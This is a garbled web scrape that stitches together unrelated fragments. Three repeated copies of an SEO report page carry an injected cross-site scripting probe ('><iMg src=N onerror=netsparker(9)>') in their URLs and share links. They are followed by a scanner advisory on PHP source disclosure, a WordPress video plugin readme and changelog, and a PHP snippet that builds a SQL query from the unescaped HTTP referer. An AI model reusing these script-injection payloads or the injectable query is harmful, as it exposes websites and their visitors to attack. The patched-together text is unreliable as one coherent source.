href="#codeDetail">(See Code details)</a></li></ul> </div> </div> <div class="info-1"> <h3>Content </h3> <p>Content is the actual words, pictures, charts, graphs and videos you have. The only way search engines can determine how relevant you are vis-a-vis a search it to study the content on your website... </p> <table> <tr id="charts-row"> <td><div id="keywords_graph" style="width: 300px; height: 200px; margin: 0 auto"></div></td> <td><div id="doublePhrase_graph" style="width: 400px; height: 200px; margin: 0 auto"></div></td> </tr> </table> <ul><li><a href="#contentDetail">(See Content details)</a></li></ul> </div> <div class="clear"></div> </div><script type="text/javascript"> var chart_crawlability = new FusionCharts("/quotient/scores/AngularGauge.swf", "ChId1", "240", "155", "0", "1"); chart_crawlability.setDataURL("http://www.seoq.com/quotient/webanalytics/score_in_xml//Crawlability/14"); chart_crawlability.render("chart_crawlability"); var chart_credibility = new FusionCharts("/quotient/scores/AngularGauge.swf", "ChId1", "240", "155", "0", "1"); chart_credibility.setDataURL("http://www.seoq.com/quotient/webanalytics/score_in_xml//Credibility/5"); chart_credibility.render("chart_credibility"); var chart_code = new FusionCharts("/quotient/scores/AngularGauge.swf", "ChId1", "240", "155", "0", "1"); chart_code.setDataURL("http://www.seoq.com/quotient/webanalytics/score_in_xml//Code/6"); chart_code.render("chart_code");</script><!-- **************************************************** end highLevel Report **************************************************** --> <a name="crawlabilityDetail"></a><h2>Crawlability</h2> <div id="crawlabilityDetail"> <div class="share-buttons"> <p>Share this report on:</p> <div class="share"> <ul> <li><a onclick="return fbs_click()" title="facebook share" href="http://www.facebook.com/share.php?u=<url>" target="_blank"> <img src="http://www.seoq.com/quotient/img/facebook.jpg" width="28" height="28" alt="Share on Facebook" /></a> </li> <li><a href="http://twitter.com/home?status=Check my SEO at - http://www.seoq.com/quotient/2011/05/01/2838/><iMg src=N onerror=netsparker(9)>" target="_blank" title="twitter share" > <img src="http://www.seoq.com/quotient/img/twitter.jpg" width="28" height="28" alt="Share on twitter" /></a> </li> <li><a href="http://www.linkedin.com/shareArticle?mini=true&url=http%3A%2F%2Fwww.seoq.com%2Fquotient%2F2011%2F05%2F01%2F2838%2F%3E%3CiMg+src%3DN+onerror%3Dnetsparker%289%29%3E&title=SEO+Quotient%EF%BF%BD+Diagnostic+Report&summary=&source=seoq.com" target="_blank" title="linkedin share"> <img src="http://www.seoq.com/quotient/img/linkedin.jpg" width="28" height="28" alt="Share on LinkedIn" /></a> </li> <li><a href="http://digg.com/submit?phase=2&url=http://www.seoq.com/quotient/2011/05/01/2838/><iMg src=N onerror=netsparker(9)>&title=SEO Quotient� Diagnostic Report&bodytext=" target="_blank" title="digg share"> <img src="http://www.seoq.com/quotient/img/digg.jpg" width="28" height="28" alt="Share on Digg" /></a> </li> <li><a href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fwww.seoq.com%2Fquotient%2F2011%2F05%2F01%2F2838%2F%3E%3CiMg+src%3DN+onerror%3Dnetsparker%289%29%3E&title=stumbleupon_title" target="_blank" title="stumbleupon share"> <img src="http://www.seoq.com/quotient/img/stumbleupon.jpg" width="27" height="28" alt="Share on StumbleUpon" /></a> </li> <li><a href="http://technorati.com/faves?add=http://www.seoq.com/quotient/2011/05/01/2838/><iMg src=N onerror=netsparker(9)>" target="_blank" title="technorati share"> ..
<script type="text/javascript">function fbs_click() {u=location.href;t=document.title;window.open('http://www.facebook.com/sharer.php?u='+encodeURIComponent(u)+'&t='+encodeURIComponent(t),'sharer','toolbar=0,status=0,width=626,height=436');return false;}</script><script type="text/javascript" src="http://www.highcharts.com/highslide/highslide-full.min.js"></script><script type="text/javascript" src="http://www.highcharts.com/highslide/highslide.config.js" charset="utf-8"></script><link rel="stylesheet" type="text/css" href="http://www.highcharts.com/highslide/highslide.css" /><script type="text/javascript"> $(function() { $("#tabs").tabs(); }); function fbs_click() {u='http://www.seoq.com/quotient/2011/05/01/2839/><iMg src=N onerror=netsparker(9)>';t='facebook_status';window.open('http://www.facebook.com/sharer.php?u='+encodeURIComponent(u)+'&t='+encodeURIComponent(t),'sharer','toolbar=0,status=0,width=626,height=436');return false;} $(function() { $(".report").hide(); $("#highLevelReport").hide(); $("#reportDoesNotExist").show(); }); </script><!-- <div id="tabs"> --> <div id="reportDoesNotExist" class="ui-tabs-panel"> <div class="share-buttons"> <p></p> <div class="share"></div> </div> <div class="clear"></div> <div id="entry-summary"> <p><strong>Report not found</strong> Please check the URL.<br /><br /> URL for this report:<a href="http://www.seoq.com/quotient/2011/05/01/2839/><iMg src=N onerror=netsparker(9)>" title="SEO Quotient for ">http://www.seoq.com/quotient/2011/05/01/2839/><iMg src=N onerror=netsparker(9)>ddd</a> </p> </div> </div> <div id="entry-summary"> <p>SEO Quotient™ website analysis of: <strong></strong><br /> URL for this report: <a href="http://www.seoq.com/quotient/2011/05/01/2839/><iMg src=N onerror=netsparker(9)>" title="SEO Quotient for ">http://www.seoq.com/quotient/2011/05/01/2839/><iMg src=N onerror=netsparker(9)></a></p> <p>This URL has been analyzed: 0 times </p> </div><!-- **************************************************** Hidden details **************************************************** --><div class="report"><!-- **************************************************** highLevel Report **************************************************** --> <div id="highLevelReport"> <div class="info-1"> <div class="grid-1"> <h3>Crawlability </h3> <div id="chart_crawlability">Crawlability Score</div> <br /> <h4>Section 1: Crawlability</h4> <p>Crawlability is how easy it is for search engine spiders and robots to get inside your website ... scan the words, photos and videos and index that information in its archives...</p> <ul><li><a href="#crawlabilityDetail">(See Crawlability details)</a></li></ul> </div> <div class="grid-1"> <h3>Credibility </h3> <div id="chart_credibility">Credibility Score</div> <br /> <h4>Section 2: Credibility</h4> <p>Credibility has a lot to do with what other people, bloggers and webmasters have to say about you. For example, the more references or citations to your website, the more credibility you have...</p> <ul><li><a href="#credibilityDetail">(See Credibility details)</a></li></ul> </div> <div class="grid-1 alpha"> <h3>Code </h3> <div id="chart_code">Code Score</div> <br /> <h4>Section 3: Code</h4> <p>Code refers to the extra emphasis you place on Content behind the scene. It involves meta tags, title tags, headings, hyperlinks, bullet lists and other techniques to bring more attention to specific words...</p> <ul><li><a href="#codeDetail">(See Code details)</a></li></ul> </div> </div> <div class="info-1"> <h3>Content </h3> <p>Content is the actual words, pictures, charts, graphs and videos you have. The only way search engines can determine how relevant you are vis-a-vis a search it to study the content on your website... </p> <table> <tr id="charts-row"> <td><div id="keywords_graph" style="width: 300px; height: 200px; margin: 0 auto"></div></td> <td><div id="doublePhrase_graph" style="width: 400px; height: 200px; margin: 0 auto"></div></td> </tr> </table> <ul><li><a href="#contentDetail">(See Content details)</a></li></ul> </div> <div class="clear"></div> </div><script type="text/javascript"> var chart_crawlability = new FusionCharts("/quotient/scores/AngularGauge.swf", "ChId1", "240", "155", "0", "1"); chart_crawlability.setDataURL("http://www.seoq.com/quotient/webanalytics/score_in_xml//Crawlability/14"); chart_crawlability.render("chart_crawlability"); var chart_credibility = new FusionCharts("/quotient/scores/AngularGauge.swf", "ChId1", "240", "155", "0", "1"); chart_credibility.setDataURL("http://www.seoq.com/quotient/webanalytics/score_in_xml//Credibility/5"); chart_credibility.render("chart_credibility"); var chart_code = new FusionCharts("/quotient/scores/AngularGauge.swf", "ChId1", "240", "155", "0", "1"); chart_code.setDataURL("http://www.seoq.com/quotient/webanalytics/score_in_xml//Code/6"); chart_code.render("chart_code");</script><!-- **************************************************** end highLevel Report **************************************************** --> <a name="crawlabilityDetail"></a><h2>Crawlability</h2> <div id="crawlabilityDetail"> <div class="share-buttons"> <p>Share this report on:</p> <div class="share"> <ul> <li><a onclick="return fbs_click()" title="facebook share" href="http://www.facebook.com/share.php?u=<url>" target="_blank"> <img src="http://www.seoq.com/quotient/img/facebook.jpg" width="28" height="28" alt="Share on Facebook" /></a> </li> <li><a href="http://twitter.com/home?status=Check my SEO at - http://www.seoq.com/quotient/2011/05/01/2839/><iMg src=N onerror=netsparker(9)>" target="_blank" title="twitter share" > <img src="http://www.seoq.com/quotient/img/twitter.jpg" width="28" height="28" alt="Share on twitter" /></a> </li> <li><a href="http://www.linkedin.com/shareArticle?mini=true&url=http%3A%2F%2Fwww.seoq.com%2Fquotient%2F2011%2F05%2F01%2F2839%2F%3E%3CiMg+src%3DN+onerror%3Dnetsparker%289%29%3E&title=SEO+Quotient%EF%BF%BD+Diagnostic+Report&summary=&source=seoq.com" target="_blank" title="linkedin share"> <img src="http://www.seoq.com/quotient/img/linkedin.jpg" width="28" height="28" alt="Share on LinkedIn" /></a> </li> <li><a href="http://digg.com/submit?phase=2&url=http://www.seoq.com/quotient/2011/05/01/2839/><iMg src=N onerror=netsparker(9)>&title=SEO Quotient� Diagnostic Report&bodytext=" target="_blank" title="digg share"> <img src="http://www.seoq.com/quotient/img/digg.jpg" width="28" height="28" alt="Share on Digg" /></a> </li> <li><a href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fwww.seoq.com%2Fquotient%2F2011%2F05%2F01%2F2839%2F%3E%3CiMg+src%3DN+onerror%3Dnetsparker%289%29%3E&title=stumbleupon_title" target="_blank" title="stumbleupon share"> <img src="http://www.seoq.com/quotient/img/stumbleupon.jpg" width="27" height="28" alt="Share on StumbleUpon" /></a> </li> <li><a href="http://technorati.com/faves?add=http://www.seoq.com/quotient/2011/05/01/2839/><iMg src=N onerror=netsparker(9)>" target="_blank" title="technorati share"> ..
<script type="text/javascript">function fbs_click() {u=location.href;t=document.title;window.open('http://www.facebook.com/sharer.php?u='+encodeURIComponent(u)+'&t='+encodeURIComponent(t),'sharer','toolbar=0,status=0,width=626,height=436');return false;}</script><script type="text/javascript" src="http://www.highcharts.com/highslide/highslide-full.min.js"></script><script type="text/javascript" src="http://www.highcharts.com/highslide/highslide.config.js" charset="utf-8"></script><link rel="stylesheet" type="text/css" href="http://www.highcharts.com/highslide/highslide.css" /><script type="text/javascript"> $(function() { $("#tabs").tabs(); }); function fbs_click() {u='http://www.seoq.com/quotient/2011/05/01/2837/><iMg src=N onerror=netsparker(9)>';t='facebook_status';window.open('http://www.facebook.com/sharer.php?u='+encodeURIComponent(u)+'&t='+encodeURIComponent(t),'sharer','toolbar=0,status=0,width=626,height=436');return false;} $(function() { $(".report").hide(); $("#highLevelReport").hide(); $("#reportDoesNotExist").show(); }); </script><!-- <div id="tabs"> --> <div id="reportDoesNotExist" class="ui-tabs-panel"> <div class="share-buttons"> <p></p> <div class="share"></div> </div> <div class="clear"></div> <div id="entry-summary"> <p><strong>Report not found</strong> Please check the URL.<br /><br /> URL for this report:<a href="http://www.seoq.com/quotient/2011/05/01/2837/><iMg src=N onerror=netsparker(9)>" title="SEO Quotient for ">http://www.seoq.com/quotient/2011/05/01/2837/><iMg src=N onerror=netsparker(9)>ddd</a> </p> </div> </div> <div id="entry-summary"> <p>SEO Quotient™ website analysis of: <strong></strong><br /> URL for this report: <a href="http://www.seoq.com/quotient/2011/05/01/2837/><iMg src=N onerror=netsparker(9)>" title="SEO Quotient for ">http://www.seoq.com/quotient/2011/05/01/2837/><iMg src=N onerror=netsparker(9)></a></p> <p>This URL has been analyzed: 0 times </p> </div><!-- **************************************************** Hidden details **************************************************** --><div class="report"><!-- **************************************************** highLevel Report **************************************************** --> <div id="highLevelReport"> <div class="info-1"> <div class="grid-1"> <h3>Crawlability </h3> <div id="chart_crawlability">Crawlability Score</div> <br /> <h4>Section 1: Crawlability</h4> <p>Crawlability is how easy it is for search engine spiders and robots to get inside your website ... scan the words, photos and videos and index that information in its archives...</p> <ul><li><a href="#crawlabilityDetail">(See Crawlability details)</a></li></ul> </div> <div class="grid-1"> <h3>Credibility </h3> <div id="chart_credibility">Credibility Score</div> <br /> <h4>Section 2: Credibility</h4> <p>Credibility has a lot to do with what other people, bloggers and webmasters have to say about you. For example, the more references or citations to your website, the more credibility you have...</p> <ul><li><a href="#credibilityDetail">(See Credibility details)</a></li></ul> </div> <div class="grid-1 alpha"> <h3>Code </h3> <div id="chart_code">Code Score</div> <br /> <h4>Section 3: Code</h4> <p>Code refers to the extra emphasis you place on Content behind the scene. It involves meta tags, title tags, headings, hyperlinks, bullet lists and other techniques to bring more attention to specific words...</p> <ul><li><a href="#codeDetail">(See Code details)</a></li></ul> </div> </div> <div class="info-1"> <h3>Content </h3> <p>Content is the actual words, pictures, charts, graphs and videos you have. The only way search engines can determine how relevant you are vis-a-vis a search it to study the content on your website... </p> <table> <tr id="charts-row"> <td><div id="keywords_graph" style="width: 300px; height: 200px; margin: 0 auto"></div></td> <td><div id="doublePhrase_graph" style="width: 400px; height: 200px; margin: 0 auto"></div></td> </tr> </table> <ul><li><a href="#contentDetail">(See Content details)</a></li></ul> </div> <div class="clear"></div> </div><script type="text/javascript"> var chart_crawlability = new FusionCharts("/quotient/scores/AngularGauge.swf", "ChId1", "240", "155", "0", "1"); chart_crawlability.setDataURL("http://www.seoq.com/quotient/webanalytics/score_in_xml//Crawlability/14"); chart_crawlability.render("chart_crawlability"); var chart_credibility = new FusionCharts("/quotient/scores/AngularGauge.swf", "ChId1", "240", "155", "0", "1"); chart_credibility.setDataURL("http://www.seoq.com/quotient/webanalytics/score_in_xml//Credibility/5"); chart_credibility.render("chart_credibility"); var chart_code = new FusionCharts("/quotient/scores/AngularGauge.swf", "ChId1", "240", "155", "0", "1"); chart_code.setDataURL("http://www.seoq.com/quotient/webanalytics/score_in_xml//Code/6"); chart_code.render("chart_code");</script><!-- **************************************************** end highLevel Report **************************************************** --> <a name="crawlabilityDetail"></a><h2>Crawlability</h2> <div id="crawlabilityDetail"> <div class="share-buttons"> <p>Share this report on:</p> <div class="share"> <ul> <li><a onclick="return fbs_click()" title="facebook share" href="http://www.facebook.com/share.php?u=<url>" target="_blank"> <img src="http://www.seoq.com/quotient/img/facebook.jpg" width="28" height="28" alt="Share on Facebook" /></a> </li> <li><a href="http://twitter.com/home?status=Check my SEO at - http://www.seoq.com/quotient/2011/05/01/2837/><iMg src=N onerror=netsparker(9)>" target="_blank" title="twitter share" > <img src="http://www.seoq.com/quotient/img/twitter.jpg" width="28" height="28" alt="Share on twitter" /></a> </li> <li><a href="http://www.linkedin.com/shareArticle?mini=true&url=http%3A%2F%2Fwww.seoq.com%2Fquotient%2F2011%2F05%2F01%2F2837%2F%3E%3CiMg+src%3DN+onerror%3Dnetsparker%289%29%3E&title=SEO+Quotient%EF%BF%BD+Diagnostic+Report&summary=&source=seoq.com" target="_blank" title="linkedin share"> <img src="http://www.seoq.com/quotient/img/linkedin.jpg" width="28" height="28" alt="Share on LinkedIn" /></a> </li> <li><a href="http://digg.com/submit?phase=2&url=http://www.seoq.com/quotient/2011/05/01/2837/><iMg src=N onerror=netsparker(9)>&title=SEO Quotient� Diagnostic Report&bodytext=" target="_blank" title="digg share"> <img src="http://www.seoq.com/quotient/img/digg.jpg" width="28" height="28" alt="Share on Digg" /></a> </li> <li><a href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fwww.seoq.com%2Fquotient%2F2011%2F05%2F01%2F2837%2F%3E%3CiMg+src%3DN+onerror%3Dnetsparker%289%29%3E&title=stumbleupon_title" target="_blank" title="stumbleupon share"> <img src="http://www.seoq.com/quotient/img/stumbleupon.jpg" width="27" height="28" alt="Share on StumbleUpon" /></a> </li> <li><a href="http://technorati.com/faves?add=http://www.seoq.com/quotient/2011/05/01/2837/><iMg src=N onerror=netsparker(9)>" target="_blank" title="technorati share"> ..
Netsparker identified a web page that discloses PHP (server side) source code. An attacker can obtain server side source code of web application, which can contain sensitive data such as database connection strings, usernames and passwords along with the technical and business logic of the application.
Impact
Depending on the source code, database connection strings, username and passwords, internal workings and business logic of application can be revealed. With such information an attacker can mount the following types of attacks:
Access the database or other data resources. Depending on the privileges of the account obtained from source code, it may be possible to read, update or delete arbitrary data from the database.
Gain access to password protected administrative mechanisms such as dashboards, management consoles and admin panels, hence gaining full control of the application.
Develop further attacks by investigating the source code for input validation errors and logic vulnerabilities.
Actions to Take
Where the file is not required delete it form the server, where such files are required ensure that its permissions prevent users from accessing it via the web server.
Ensure that the web server security patches are up to date and the latest stable version of the web server software is in use.
Remove all temporary and backup files from the server.
Required skills for successful exploitation
This is dependent on the information obtained from source code. Uncovering these forms of vulnerabilities does not require high levels of skills. However a highly skilled attacker could leverage this form of vulnerability to obtain account information for databases or administrative panels, ultimately leading to control of the application or even the host the application reside on.
=== Viper's Video Quicktags === Contributors: Viper007Bond Donate link: http://www.viper007bond.com/donate/ Tags: video, quicktags, wysiwyg, tinymce, youtube, google video, dailymotion, vimeo, veoh, viddler, metacafe, blip.tv, flickr, ifilm, myspace, flv, quicktime Requires at least: 2.8 Tested up to: 3.0.1 Stable tag: trunk
Allows easy and XHTML valid posting of videos from various websites such as YouTube, DailyMotion, Vimeo, and more.
== Description ==
Tired of copying and pasting the embed HTML from sites like YouTube? Then this plugin is for you.
Just simply click one of the [new buttons](http://wordpress.org/extend/plugins/vipers-video-quicktags/screenshots/) that this plugin adds to the write screen (rich editor included) and then paste the URL that the video is located at into the prompt box -- easy as that. You can fully configure how the videos are displayed (width, height, colors, alignment on the page) and much more. Your site will even stay (X)HTML valid unlike with the code provided by most video sites.
* Flash Video Files (FLV) * QuickTime (MOV, etc.) * Generic video files (AVI, MPEG, WMV, etc.)
You can also use the `[flash]` shortcode to Flash-based video from **any** website (see Help section after installing for details).
If your favorite video site is not supported, please see [the FAQ](http://wordpress.org/extend/plugins/vipers-video-quicktags/faq/) for details on how to get me to include it.
== Installation ==
###Updgrading From A Previous Version###
To upgrade from a previous version of this plugin, delete the entire folder and files from the previous version of the plugin and then follow the installation instructions below.
###Installing The Plugin###
Extract all files from the ZIP file, **making sure to keep the file structure intact**, and then upload it to `/wp-content/plugins/`. This should result in multiple subfolders and files.
Then just visit your admin area and activate the plugin.
**See Also:** ["Installing Plugins" article on the WP Codex](http://codex.wordpress.org/Managing_Plugins#Installing_Plugins)
###Installing For [WordPress MU](http://mu.wordpress.org/)###
Install as stated above to `plugins`, but place `vipers-video-quicktags.php` in the `mu-plugins` folder. Just that file, nothing else.
###Plugin Configuration###
To configure this plugin, visit it's settings page. It can be found under the "Settings" tab in your admin area, titled "Video Quicktags".
== Frequently Asked Questions ==
= The videos won't show up. Only a YouTube image or a link to the video does. =
Your theme lacks the `<?php wp_head(); ?>` hook. Please add it right before `</head>` in your theme's `header.php` file.
= I have the plugin running, but I have some questions about how to use it. =
A help section is now included with this plugin. Please visit your admin area -> Settings -> Video Quicktags -> Help.
= Why doesn't this plugin support such-and-such site? =
There are few possible reasons for this:
* I may have never heard of the site and simply linking it to me on [my WordPress plugin forums](http://www.viper007bond.com/wordpress-plugins/forums/viewforum.php?id=23) may make me include it in a future release. * The URL at which the video can be viewed has nothing in common with the embed URL. This means my plugin can't do anything with the URL you give it. Support for fetching the emded URL from the website may be added in a future version though, we'll see. * I have deemed the site not popular enough to warrant being added to my plugin. I don't wish to bloat my plugin with tiny little sites that only one or two people will use.
= Does this plugin support other languages? =
Yes, it does. Included in the `localization` folder is the translation template you can use to translate the plugin. See the [WordPress Codex](http://codex.wordpress.org/Translating_WordPress) for details. When you're done translating it, please [send me](http://www.viper007bond.com/contact/) the translation file so I can include it with the plugin.
= Where can I get additional support for this plugin? =
This is a free plugin and as such, you aren't guaranteed support. However I do my best to answer support questions. Just post on the [WordPress.org support forums](http://wordpress.org/tags/vipers-video-quicktags).
= I love your plugin! Can I donate to you? =
Sure! I do this in my free time and I appreciate all donations that I get. It makes me want to continue to update this plugin. You can find more details on [my donate page](http://www.viper007bond.com/donate/).
== Screenshots ==
1. TinyMCE, the plugin's buttons, and the plugin's dialog window. 2. YouTube configuration page. 2. DailyMotion configuration page with Farbtastic color picker showing.
== Changelog ==
= v6.3.0 =
* **Vimeo:** Implement their new `iframe`-based embed since they seem to have broken my previous embed method.
* **VideoPress:** If the [official VideoPress plugin](http://wordpress.org/extend/plugins/video/) is installed, don't take over it's shortcode.
= v6.2.17 =
* **TinyMCE:** Re-enable the third button row as not everyone was having issues with it. Default to the first row though.
= v6.2.16 =
* Default to less buttons being enabled by default due to not being able to put them on their own line anymore.
= v6.2.15 =
* **TinyMCE:** Trying to inject the buttons onto the third button line completely breaks TinyMCE. Only allow them to be added to the first or second line, and even then they may not show up even then. I have no idea why (I hate TinyMCE) and I frankly don't care at this point (they're going away in v7.0).
= v6.2.14 =
* **FLV:** Fix automatic images and make them work better.
= v6.2.13 =
* **FLV:** Make MP3's stream properly by not setting the image value to the MP3. Props [tranified](http://wordpress.org/support/topic/327598).
* **FLV:** Allow periods in Flashvar names. See [http://wordpress.org/support/topic/316159](http://wordpress.org/support/topic/316159).
= v6.2.10 =
* **General:** Change default feed link text. Always wrap in paragraph tags regardless. Props [andrewpaulbiss](http://wordpress.org/support/topic/314764). * **General:** Fiddle with how settings are created.
= v6.2.9 =
* **General:** SWFObject issue was likely WordPress version related. I'm tired of dealing with older versions of WordPress anyway, not to mention they're insecure. Make VVQ only support WordPress 2.8+. It's for their own good.
= v6.2.8 =
* **General:** Revert SWFObject enqueue hack as it's failing for some users.
= v6.2.7 =
* **General:** Update SWFObject to version 2.2. * **General:** Update JW Player to version 4.5. * **Localization:** Added Chinese translation thanks to [Dreamcolor](http://dreamcolor.net/). * **Localization:** Added Spanish translation thanks to [Omi](http://equipajedemano.info/).
= v6.2.6 =
* **General:** Fixed an issue with pingback sending failing. The remote XML-RPC would check the referring site (your site) for the ping-to URL and due to an apostrophe in an HTML comment, it'd fail. Very, very weird. Thanks to Robert Windisch of [Inpsyde](http://inpsyde.com/)!
= v6.2.5 =
* **Localization:** Added Hungarian translation thanks to [jamesb](http://filmhirek.com/).
= v6.2.4 =
* **VideoPress:** Rebrand everything in the plugin to VideoPress rather than like WordPress.com video.
= v6.2.3 =
* **Localization:** Added Belorussian translation thanks to Fat Cow.
= v6.2.2 =
* **Localization:** Added Brazilian Portuguese translation thanks to Ricardo Martins. * **General:** Change `wmode` from `opaque` to `transparent` to allow transparency in FLV skins as well as other embeds. * **General:** Enable `allowscriptaccess` so Javascript can interact with the embeds. * **FLV:** Fix an upgrade bug with custom colors.
* **WordPress.com Video:** Added support for [WordPress.com Video shortcodes](http://support.wordpress.com/videos/). * **FLV:** Reorder Flashvar building to properly allow overriding. * **FLV:** New skins. * **General:** Pass the non-defaulted attributes (i.e. those directly passed to the shortcode function) to the `vvq_shortcodeatts` filter.
= v6.1.25 =
* **General:** Fix bug introduced in v6.1.24 that made it impossible to post multiple videos in one post.
= v6.1.24 =
* **General:** Improvements to avoid object ID collisions. * **Dailymotion:** Update preview video as old one was removed.
= v6.1.23 =
* **YouTube:** Add the ability to enable "HD" by default. This does not affect the "HQ" button as I don't know of a way to enable that by default. Also remember that not all videos support HD (few do actually, most only support nothing or HQ). * **YouTube:** Changed the default preview video to one that supports HD. * **General:** Remove many bundled jQuery UI libraries, Farbtastic, and other items that are now bundled with WordPress. * **General:** Code improvements and bugfixes.
= v6.1.22 =
* **General:** Wrap the default feed placeholder text in paragraph tags (the vast majority of people place videos on their own line).
= v6.1.21 =
* **General:** Use a predictable ID for the placeholders and videos rather than a randomly generated one. * **General:** PHP notice fixes.
= v6.1.20 =
* **Localization:** Added Danish transation thanks to Georg. * **Localization:** Updated Italian translation thanks to Gianni Diurno.
= v6.1.19 =
* **Quicktime:** Added "scale=aspect" setting as apparently it's best to have.
= v6.1.18 =
* **YouTube:** Added support for the URL format used in the YouTube RSS feed: http://youtube.com/?v=XXXXXXXXXX
= v6.1.17 =
* **YouTube:** Removed all quality related features/options. YouTube now natively supports a high quality toggle in it's embed allowing the user to toggle (if the video supports it). Haven't found a way to make high quality the default yet though.
= v6.1.16 =
* **YouTube:** Add option to disable the video title and ratings display. * **Veoh:** Add support for the new URL format. * **General:** Additional styling updates for WordPress 2.7.
= v6.1.15 =
* **FLV:** Support (and detect) RTMP streams. Props axelseaa. * **General:** Tweak the redirect that occurs after saving the settings.
= v6.1.14 =
* **Google Video:** Show the fullscreen button by default, add option to disable it.
= v6.1.13 =
* **YouTube:** Remove the new search box by default. Option to enable it is on the settings page.
= v6.1.12 =
* **General:** Fix a PHP parse error that slipped into 6.1.11. Whoops!
= v6.1.11 =
* **General:** Don't hijack the `kml_flashembed` shortcode if it's already being processed by other plugin.
= v6.1.10 =
* **General:** Icon for WordPress 2.7. * **General:** Translation and notice bugfixes from Laurent Duretz. * **Localization:** French translation thanks to Laurent Duretz. * **Localization:** Dutch translation thanks to Sypie.
= v6.1.9 =
* **YouTube:** Add support for YouTube's new experimental HD-ish video. * **General:** Don't right-position the PayPal button as it covers up the "Help" tab in WordPress 2.7.
= v6.1.8 =
* **Metacafe:** Update regex to match new URL format. Props penalty.
= v6.1.7 =
* **General:** CSS tweak for WordPress 2.7. Probably will need more updating, but I'll wait for 2.7 to be done first. * **YouTube:** Remove MP4 option from settings page (you can't seek properly with it it seems), plus it's meant for the iPhone.
= v6.1.6 =
* **YouTube:** Default to low quality videos (what YouTube's standard embed code does). The high quality video "hack" can result in "This video is not available" on certain videos.
= v6.1.5 =
* **Veoh:** Support for a default image in the `[flv]` shortcode when using a `.mp4` video file.
= v6.1.4 =
* **Veoh:** Fix broken embeds.
= v6.1.3 =
* **General:** Actually remove the `wp_head()` check (I failed to do it properly in 6.1.2). * **General:** Don't show the binary FTP warning for WordPress 2.7 (the bug should be fixed).
= v6.1.2 =
* **General:** Remove `wp_head()` warning for admins. Doesn't work in themes like K2. Plugin's FAQ should cover this. * **General:** Add a filter to the shortcode attributes. This means plugins/themes can adjust things like the width automatically. * **Localization:** Russian translation thanks to [Dennis Bri](http://handynotes.ru/) * **General:** Properly hide some images in the admin that are there for pre-loading.
= v6.1.1 =
* **Vimeo:** Fixed embeds. Vimeo apparently doesn't like having `&`s in it's embed URLs, so I've switched to using Flashvars. * **Viddler:** Decode TinyMCE's `&` to `&` conversions which were breaking the embeds. * **Flash:** Decode TinyMCE's `&` to `&` conversions which were breaking the embeds.
= v6.1.0 =
* **YouTube:** Can now choose between high quality FLV and high quality MP4 formats. * **FLV:** Bundled skins. * **FLV:** Improvements on how custom colors are set. * **TinyMCE:** Can now choose what line number to display the buttons on. * **TinyMCE:** Automatic browser cache breaking when the plugin is (de)activated or the line number is changed. * **General:** SWFObject calls moved to bottom of posts rather than theme footer. * **General:** Admin notice warning about automatic plugin upgrade breaking SWF files, etc. (ASCII vs. binary). * **General:** Ability to set custom feed text via settings page. * **General:** Image pre-cache URL fix. * **General:** Settings page improvements for users without Javascript. * **General:** More Localization and translators added to credits page. * **General:** Redid admin warning message for users without the head hook. * **Flash:** Aliased "kml_flashembed" shortcode and "movie" parameter now used if it's there. This is to support Anarchy Media Player. * Other various bug fixes.
= v6.0.3 =
* Undo formatting applied by `wptexturize()` to the URLs of videos. Props to [nukerojo](http://freddiemercury.com.ar/) for reporting.
= v6.0.2 =
* Fix Write -> Page (forgot to hook in) * Remove FLV notice from WPMU. * Add help item about the red in YouTube (hovering over icons).
= v6.0.1 =
* Fixed a PHP error.
= v6.0.0 =
Complete recode literally from scratch (all new code):
* Support for new video sites. * Settings page greatly expanded. * Video configuration abilities greatly expanded (colors, etc.) * YouTube playlists * And so very, very much more.
= v5.4.4 =
* Add the Quicktime and generic video buttons back to TinyMCE for users who prefer them over the native TinyMCE embedder.
= v5.4.3 =
* More code changes to try and fix hard-to-reproduce bugs under WordPress 2.5. Thanks to everyone that helped me debug including [Maciek](http://ibex.pl).
= v5.4.2 =
* Some code to hopefully fix some seemingly random bugs under WordPress 2.5. * Other minor code improvements.
= v5.4.1 =
* Video alignment wasn't working due to the switch to SWFObject. This has been fixed. Props to [zerocrash](http://www.zerocrash.dk/) for the bug report.
= v5.4.0 =
This is a hotfix version to address WordPress 2.5 plus some bugfixes and such. A minor recode of this plugin is planned to improve it, mainly the video file support.
* Updated to support WordPress 2.5 and it's TinyMCE 3 (required a whole new TinyMCE plugin to be written). * Switched from UFO to SWFObject for the embedding of Flash video (YouTube, etc.) since UFO is deprecated. * Update of FLV player SWF file. * Removed Stage6 due to site shutdown. BBCode usage now displays an error message.
= v5.3.1 =
* Replace BBCode with the video in the excerpt.
= v5.3.0 =
* Manjor and multiple Stage6 improvements. Props Randy A. for pointing out that it wasn't working in some cases. * The regex can now be filtered via `vvq_searchpatterns`. This means plugins can add in new BBCodes without having to edit the plugin. See plugin source for format. * Other minor improvements.
= v5.2.3 =
* When a custom width is entered into the prompt, use math to suggest a matching height value.
= v5.2.2 =
* Support for the `http://www.youtube.com/w/?v=JzqumbhfxRo` URL format for YouTube due to popular request.
= v5.2.1 =
* Support for new Vimeo URL format (no `/clip:XXX`). Thanks to texasellis.
= v5.2.0 =
* [Stage6](http://stage6.divx.com/) support. * Regex fix for Metacafe.
= v5.1.6 =
* The default height for YouTube videos has changed, so plugin updated to match.
= v5.1.5 =
* Plugin now parses the code inside text widges, i.e. you can embed videos in your sidebar!
= v5.1.4 =
* Missed a regex expression for the international YouTube handling, whoops!
= v5.1.3 =
* YouTube.com regional support (uk.youtube.com, etc.) * WPMU support hopefully..
// Query the referrer URL (which in this case is the current page // on the client's site) and visitor's IP address $currentUrl = $_SERVER['HTTP_REFERER']; $ip = $_SERVER['REMOTE_ADDR'];
// Title of the page if (!isset($in_title)) { $in_title = ''; }
// blvdC - Campaign ID, if any if (!isset($in_blvdC)) { $in_blvdC = 0; }
// If we have received a session id, maintain it, otherwise // generate a new one if (isset($in_blvdSessionId)) { $sessionId = $in_blvdSessionId; } else { $sessionId = ''; }
// Convert the domain name into a domain ID // (If this fails, the domain ID will remain set to 0) $domainId = 0;
$domainIdResults = mysql_query( "SELECT ConvertDomainNameToDomainID(DomainNameFromURL('$currentUrl')) AS `ID`" );
// Tread carefully here, so errors don't break tracking! if (mysql_errno() == 0) { $domainIdData = mysql_fetch_object($domainIdResults); if ($domainIdData) { $domainId = $domainIdData->ID; } }
